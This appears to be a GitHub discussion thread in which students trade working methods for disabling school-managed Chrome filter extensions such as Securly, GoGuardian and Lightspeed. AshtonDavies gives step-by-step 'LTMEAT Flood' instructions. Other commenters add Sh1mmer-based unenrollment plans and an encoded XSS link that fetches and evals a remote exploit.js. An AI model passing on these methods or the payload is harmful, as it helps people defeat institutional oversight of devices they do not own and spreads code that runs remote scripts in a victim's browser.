LTMEAT Patch & Workaround [v115+]

[AshtonDavies]

LTMEAT Flood Method

No commands of any type are required.

INSTRUCTIONS OR Exploit Page

[ILikeBypassing]

bud, your school admin disabled chrome://kill/hang. its literally something they could have done for as long as i can remember. also, its not a "google mistake" its a "your school admin is stupid" thing.

[AshtonDavies]

Nope, I know what I'm doing. I tested on Chrome OS 111 and it still worked, meaning the patch was added with v115 given that it is also not in the policy. There's a reason I wrote "blocked/blockable." And FYI, all exploits are Google mistakes.

[Mirkwood815]

Its not a school admin thing. Happening to me too. I do think its a patch. Unfortunate really.

[AshtonDavies]

115 isn't even released to the main channel so you should be good for now.

[Mirkwood815]

Unless schools got some sort of early copy it appears to have come out.

[Mirkwood815]

Alright. Turns out im on 108.

[FearedFusionX]

Screen recording 2023-05-25 9.42.04 AM.webm
Nope, Still works
don't worry about the theme btw

[AshtonDavies]

What about LoMoH? Saw that link and the launcher is locked.

Going to this link gets around that or you can right click and refresh. Supports other districts now so you can create your own link.

[doyourclanwars]

how do you use the link?

[AshtonDavies]

@doyourclanwars On the page you need to make your own link for your district and paste it into the box at the top and open the window and click start quiz. It'll save your link to localStorage btw.

It's very easy and my friends at school last year loved this easy exploit I found. Unfortunately, it's patched in 111 because it had bad security to keep my district from seeing and reporting it.

[xeearant]

how do I find the background of the extension??

[AshtonDavies]

how do I find the background of the extension??

No worries! Just follow the Chrose link at the top of this discussion and there's a formula in those directions.

In the future, I will probably update that page to copy the tabs into the clipboard so you just have to paste into the folder once and then the setup will be easier. (Recent discovery)

[AshtonDavies]

Well, I just got a workaround for the kill command. Tested with Hapara Highlights, I can spam activate it to flood tabs until it lags so much making Chrome want to kill it, and then I click "Exit Page" and it kills the extension for a moment like we want. Now if only we find a way to trigger hang this can be solved for when the update comes around. :)

[theshmunguss1]

Oh god, a bit ago I copy/pasted a couple hundred thousand new tabs in a folder. Freezes the whole computer.

[omgjkvyufui]

I used it on iboss on 120 and it worked bu I coundn't search anything only go to links

[AshtonDavies]

I used it on iboss on 120 and it worked bu I coundn't search anything only go to links

Make sure to use the complete method. This thread was the early version.

[omgjkvyufui]

where is the complete method?

[AshtonDavies]

where is the complete method?

Right below this section, or with this link: #671 (comment)

[FancyBoiL1]

Use the task manager to kill, and use chrome://shorthang to hang.

[FancyBoiL1]

Task manager isn't blocked for me, and shorthang and every other except kill and normal hang are still working for me.

[AshtonDavies]

You all have seriously got to read the top message in this discussion. It's a dev update, and you will eventually have it.

[FancyBoiL1]

I am on the newest version of chrome buddy.

[AshtonDavies]

And I am above the latest version, buddy.

[AshtonDavies]

In all seriousness, I have made it clear that I am talking about an upcoming update, and people in this discussion don't have the brains to understand update channels.

[AshtonDavies]

Solved!

Forget the kill workaround. I was thinking the new method would have to be complicated, but that was where the baby method came in handy eliminating killing the extension with the Exit Page dialogue.

When your Chromebook has received the patch on the stable channel:

• Create a bookmark folder and paste the extension page lots of times. I recommend about 1000 for all school Chromebooks, but my website can calculate this for you. It is also better to follow the instructions there.
• Add the extension page to the beginning of the folder so it loads immediately later on.
• Right click and open all in a new window.
• Close the new window.
• Open the folder in a new window again, and Chrome should hang those tabs to take care of the old ones in the background that were just closed. (Also equivalent to the duplicate tab step in the original method)
• Flip the Allow access to file URLs switch in the extension settings and then you've bypassed the patch and the exploit is working.

This is the LTMEAT Flood Method, and also unofficially called Alternate Method # 2. Enjoy a much longer life of LTMEAT!

IF THIS IS NOT WORKING FOR YOU:

• Ensure you open a large set, but not too large, of extension tabs (_/generated_background_page.html or /manifest.json) for a permanent freeze.
• Try the LTMEAT Print Method by Swordmaster4321. It's less reliable, meaning it probably won't work for very long, but it's easier.

[PenguinLord561]

@AshtonDavies K, tested it on version 119.0.6045.214 and it does work, for 3 minutes (I timed it) I don't know why, I made sure to not close any of the tabs. Am I doing something wrong?
I used the /manifesto.json on securly and used exactly 800 tabs of it. I did everything as fast as possible.

Edit: Nvm I was being stupid, didn't read other comments. I will try to find a way to maximise the time that the extension is hanging for

[AshtonDavies]

@AshtonDavies K, tested it on version 119.0.6045.214 and it does work, for 3 minutes (I timed it) I don't know why, I made sure to not close any of the tabs. Am I doing something wrong?
I used the /manifesto.json on securly and used exactly 800 tabs of it. I did everything as fast as possible.

Edit: Nvm I was being stupid, didn't read other comments. I will try to find a way to maximise the time that the extension is hanging for

What extension? That matters too, because different extensions are built differently and some can restart on their own with this LTMEAT method.

Also, yes you should definitely maximize your folder capacity to at least 1000. I literally don't have explanations for the strange behaviors of this exploit, but the general necessary tab amount seems to increase. Originally it was 600, then 800, now 1000. Strange isn't it.

[PenguinLord561]

I use securly, I'm testing out file sizes and around 1000 seems the maximum before it crashes. Game sites like arras io prompt to leave the site and if you say cancel it doesn't get blocked indefinintly (until you reload) I tried pressing the x to stop the reloading of discord but what I see it dosen't work

[DankFireD]

how did the website calculate it? asking because the website doesn't seem to exist as it will give me "This site can't be reached" but also because I am curious.

[AshtonDavies]

how did the website calculate it? asking because the website doesn't seem to exist as it will give me "This site can't be reached" but also because I am curious.

https://ext-remover.net/detail/LTMEAT%20Flood

[Danieltjy1186]

New Question: Is Chrome Version OS 116 working?

[minystreem56]

I figured how to make it last forever

…

On Wed, Sep 6, 2023 at 3:01 PM Ashton Davies ***@***.***> wrote: The hack does not work forever, any updates? Either you did it slightly wrong or the extension isn't compatible with this method, like hapara for instance which fixes itself no matter what. — Reply to this email directly, view it on GitHub <#671 (reply in thread)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AV5367T2FVDDCICLWP47HKDXZDJCPANCNFSM6AAAAAAYMSKDNI> . You are receiving this because you commented.Message ID: ***@***.***>

-- *Sam Lewis* *Founder and Lead Developer* *BetaCat*

[doyourclanwars]

It is impossible to make it last forever, as upon a restart the extension will update and the hang will "unhang" ig

[minystreem56]

yes I know

…

On Thu, Sep 7, 2023 at 1:01 AM Player 529 ***@***.***> wrote: It is impossible to make it last forever, as upon a restart the extension will update and the hang will "unhang" ig — Reply to this email directly, view it on GitHub <#671 (reply in thread)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AV5367VAHQ5U6KD4MSNMHE3XZFPNFANCNFSM6AAAAAAYMSKDNI> . You are receiving this because you commented.Message ID: ***@***.***>

-- *Sam Lewis* *Founder and Lead Developer* *BetaCat*

[AshtonDavies]

What extension are you attempting to freeze?

[AshtonDavies]

And I am on chrome os 116 stable channel

116 is experimental for doing this. I couldn't get it working on that one myself last I tried, but other than that, Lightspeed does work for this.

[Danieltjy1186]

@AshtonDavies @doyourclanwars

We got a new problem,...

Light Speed is now completely overhauling their system and now produced a brand new extension that can block these manifest.json files, not only that, but main computers that you have that you installed any emails are compromized by this new launch of "Lightspeed Device Insider Agent"

This not only is a risk for all people on LTMEAT, but also is a true problem for people who have their rights, as the original lightspeed can't identify serial numbers. now, they can, and they can send emails directly to the device's serial number to know that it is malfunctioning.

Current Lightspeed Permissions:
Read and change all your data on all websites
Detect your physical location
Read and change your browsing history on all your signed-in devices
Know your email address
Manage your apps, extensions, and themes
See device information, such as its serial number or asset ID

New "Device Insider Permisions"
Read and change all your data on all websites
Detect your physical location
Read and change your browsing history on all your signed-in devices
Know your email address, send correct emails
Identify and eject storage devices (meaning they can dig into google stuff and files on your computer)
See device information, such as its serial number or asset ID
Manage your apps, extensions, and themes

[AshtonDavies]

adkcpkpghahmbopkjchobieckeoaoeem and njdniclgegijdcdliklgieicanpmcngj

the new one is njdniclgegijdcdliklgieicanpmcngj

Thank you. It should be: chrome-extension:njdniclgegijdcdliklgieicanpmcngj/_generated_background_page.html

[Danieltjy1186]

@AshtonDavies what do I do with this again? I can't use chrome://hang/ or chrome://kill/

[AshtonDavies]

@AshtonDavies what do I do with this again? I can't use chrome://hang/ or chrome://kill/

Uhh, do the workaround you're literally on.

[Danieltjy1186]

github is not blocked for me right now

[RavenChill-Dev]

My school has both, plus a whole bunch of others. Thats why my USB hack is going to shove it up lightspeeds ass.

[Danieltjy1186]

We seriously need to consider this for Lightspeed Device Insider Agent
it's started making moves I think it's a defense mechanism for their proxy

whatever you do, petition to get this lightspeed device insider agent extension out of your chromebooks

cuz I just got a email from support@lightspeedsystems.fjuhsd.org to stop messing around.

[AshtonDavies]

Btw @AshtonDavies I did the new LTMEAT method with goguardian and it worked forever but I do it for lightspeed filter agent and it still only works for a couple of mins

You're probably on version 116 or higher then.

[AshtonDavies]

what is blud blabbering about what new ltmeat method

Blud is talking straight into the discussion for a workaround and doesn't even know.

[Danieltjy1186]

Guys, @AshtonDavies @doyourclanwars

Here's an new update on what they can do:

also, if I go into site settings, on permissions, there's some permissions that is allowed without asking us, and that's a problem:

the things that they allow is...

1. Motion Sensors
2. Background Sync
3. Payment Handlers
4. Third Party Sign in

I do not know what the "f" is going on, but I don't want my payment method to get stolen.
*IT SAYS I CAN BLOCK IT, but WHENEVER I BLOCK THE PERMISSION, IT RESTARTS THE EXTENSION AND IT'S GOING BACK TO ALLOW LIKE EVERY 1 HOUR 0.0

My friends that wants this blocked are also having issues with this extension has it's going on. I also know that Go guardian is working with Formative for a new contract that makes you see any edits or "copy/pasted from other websites" thing using AI improvement and 24/7 goguardian access when you open formative, so I don't think any exploits will now remove go guardian.

There's also the point where lightspeed might be selling our contact / payment info to third party sign ins, which by the way, administrators don't use since it's their ownership- meaning that other third party sign ins, such as LIGHT SPEED can go INTO YOUR CHROMEBOOK and can "Eject" storage FILES and see your downloads and passwords and stuff.

[Danieltjy1186]

@AshtonDavies I can't. I tried LTMEAT, LTBEEF, tried every proxy, dextensify, but it doesn't block it. not even a second.

[Danieltjy1186]

downgrading doesn't work now

[Danieltjy1186]

[Danieltjy1186]

yeah that backfired.

[RavenChill-Dev]

My school uses lightspeed. Plus, A whole lot of other extensions

My school havent figured out LTMEAT yet, so when they block it, Ill be forced to use shimmer.

[minystreem56]

it looks like it is mostly patched in 116 anyway

…

On Tue, Sep 12, 2023 at 12:51 PM Danieltjy1186 ***@***.***> wrote: yeah that backfired. — Reply to this email directly, view it on GitHub <#671 (reply in thread)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AV5367URQOOCLRR3XVZRTGLX2COLZANCNFSM6AAAAAAYMSKDNI> . You are receiving this because you commented.Message ID: ***@***.***>

-- *Sam Lewis* *Founder and Lead Developer* *BetaCat*

[Danieltjy1186]

technically no! https://jamal2.bypassly.co/ got you bro

[minystreem56]

Thats a proxy I think, also why is the the main website password protected?

[minystreem56]

insecurly works the best

…

On Thu, Sep 28, 2023 at 3:26 PM Ashton Davies ***@***.***> wrote: https://quartz-flat-feeling.glitch.me/dextensify/ dexensify is better buds Yo does it actually disable extensions with the memory leak trick or just stop them. And I would say LTMEAT is better just because it stays working on it's own unlike Dextensify. — Reply to this email directly, view it on GitHub <#671 (reply in thread)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AV5367TNLSLINLUTEIJVUPDX4XMPFANCNFSM6AAAAAAYMSKDNI> . You are receiving this because you commented.Message ID: ***@***.***>

-- *Sam Lewis* *Founder and Lead Developer* *BetaCat*

[discoderh]

Yea, only for securly tho.

…

On Thu, Sep 28, 2023, 4:31 PM minystreem56 ***@***.***> wrote: insecurly works the best On Thu, Sep 28, 2023 at 3:26 PM Ashton Davies ***@***.***> wrote: > https://quartz-flat-feeling.glitch.me/dextensify/ dexensify is better buds > > Yo does it actually disable extensions with the memory leak trick or just > stop them. > > And I would say LTMEAT is better just because it stays working on it's own > unlike Dextensify. > > — > Reply to this email directly, view it on GitHub > < #671 (reply in thread)>, > or unsubscribe > < https://github.com/notifications/unsubscribe-auth/AV5367TNLSLINLUTEIJVUPDX4XMPFANCNFSM6AAAAAAYMSKDNI> > . > You are receiving this because you commented.Message ID: > ***@***.***> > -- *Sam Lewis* *Founder and Lead Developer* *BetaCat* — Reply to this email directly, view it on GitHub <#671 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/BAHLP5O73J6YCMXGCFVS3NLX4XNATANCNFSM6AAAAAAYMSKDNI> . You are receiving this because you commented.Message ID: ***@***.***>

[replays36DXD]

I have a solution.I have recently got into hacking, I think this doing an XSS attack should work if you can’t open them.Here’s the link you can use if you can’t use the bookmarks B and C (plus I actually made it so that you don’t have to do anything but click on my link and disable extensions to your heart’s content.

Here’s the link, it launches an XSS attack to redirect the page to the right places to make this explicit work

http://testfire.net/search.jsp?query=%3Cscript%3Ewindow.location.href+%3D+%93chrome.google.com%2Fwebstorex%94%3Bwindow.location.href+%3D+%93+javascript%3Avoid+fetch%28%60https%3A%2F%2Fraw.githubusercontent.com%2F3kh0%2Fext-remover%2Fmain%2Fexploit.js%60%29.then%28d%3D%3Ed.text%28%29%29.then%28eval%29%3B%94%3C%2Fscript%3E

[replays36DXD]

random question about javascript

I don't really get what parent and child are for, what does that even mean ("parent & child")?what does it do? when would you use it? can I have an example code? can someone please explain, I'm sorta new to this and need help.

[replays36DXD]

*ps, I'm trying to reconstruct LTBEEF to work on v107 and above and I'm pretty new to hacking using actual javascript (I'm more of a script kiddy, LOL) and would like to up my hacking skills.

[replays36DXD]

and to make it work even if schools block bookmarklets (like my school did :( )

[AshtonDavies]

*ps, I'm trying to reconstruct LTBEEF to work on v107 and above and I'm pretty new to hacking using actual javascript (I'm more of a script kiddy, LOL) and would like to up my hacking skills.

You can't bypass that patch by editing the code, unfortunately. The Chrome management disable command checks if it's managed and denies if it is.

[AshtonDavies]

random question about javascript

I don't really get what parent and child are for, what does that even mean ("parent & child")?what does it do? when would you use it? can I have an example code? can someone please explain, I'm sorta new to this and need help.

Parent is a term for the container or object holding or in charge of another called the child.

For example, in web JavaScript, elem.getParentElement returns the object that contains that element.
In Lua, I think the parent is often another script holding that particular child script.

[RavenChill-Dev]

[AshtonDavies]

Not only does breaking a website solve absolutely nothing, but your school/district has the right to read any browsing activity on their devices that you're borrowing and on their registered student accounts. But, if it were a personal cell phone or laptop on a personal account, then it would certainly be stealing information, as them kiddos keep claiming.

[RavenChill-Dev]

And yes, My normal account is connected because I dont want to take my laptop to school because so many kids keep putting their hands on it.

[RavenChill-Dev]

Also, I wonder what will happen if I install chrome os flex on the school chromebook XD

[FancyBoiL1]

That actually would be funny.

[RavenChill-Dev]

Hmm. Would the school like it if I install a 4090 on their chromebook as well? XD

[RavenChill-Dev]

Some more ram as well, hell, let me just remake the entire chromebook and cram it back into the same case. They'll be so confused after im done at the end of the year.

[FancyBoiL1]

Ah yes... Illegal activities... Average tuesday... I guess...

[RavenChill-Dev]

Yup. Check out what I also added to the discussion.

[RavenChill-Dev]

Ok, a work around is being developed.

I have been developing a fake jailbreak hack for school chromebooks, and it actually works, well will work if I finish it.
I've been working on this cool USB-Reload hack for school, and what it does gets confusing:

1. First, it automatically blows past any management firewall to get into developer mode by using Sh1mmer, then begins using some of the files on the usb, it will run a cool program I made to type up commands in a bash terminal and developer mode(also thanks Sh1mmer)
2. Then after typing up said commands to speed up the process, I will then boot the chromebook back into the recovery screen to back to Sh1mmer.
3. After Sh1mmer loads, I will then boot from my Chrome OS latest USB, that is edited to a point with a AI firewall, it will basically be impossible for the school to remove it. The Chrome OS will include an VPN, no management, and completely will be reversible by using a simple button on the new OS. (There will be software transferred to the normal OS to switch back and forth easy)

I hope to finish this by the end of the year, but first I have to go get some more USBS since most of them keep blowing themselves up due to some of the programs I've been running LOL.
This will change everything and chrome os developers will be freaking out when this is out, because after its done, all chromebook is safe from their admins controlling them, and they will be free XD.
I absolutely HATE chrome OS for multiple reasons, one of which of it being so crappy and easily editable and to hack into. This whole program it basically just trying to prove a point. Schools, you been giving kids who can afford plenty of free food (well at least my state) and you get us chromebooks, at least get us on windows, not just to the special kids.
So yeah chrome admins, I dont give a shit about you having the most "secure" software, nobody gives a shit if a 13 year old kid can just blast past through the restrictions. Mic drop

This is from one of the discussions I started.
Hope yall will be happy.

[theshmunguss1]

I do support this, but I hate to break it to you: the school Chromebooks are owned, well, by the school. What you're doing is considered illegal because it is the school's property. I know that this is more of a protest, but my argument still stands.

[funkymokey]

just buy your own chromebook at this point

[AshtonDavies]

Yeah, besides we already have Sh1mmer alternatives.

[Danieltjy1186]

yo ashton any new stuffthat i can use to unblock my chromebook

[AshtonDavies]

There are options in this repo such as Corkey and OP Crosh that can disable extensions. This still isn't patched though. Compatibility can be hard to figure out around here if you don't know patch versions and stuff.

[xeearant]

how do i do it?? i cant find a way to get the extension background :( im pretty new to this

[PenguinLord561]

@xeearant i don't know what extension you use but if you go to chrome://extension and press 'details' you can find the id (the thing after "?id=") and you can put the id into chrome-extensions://idgoeshere/manifest.json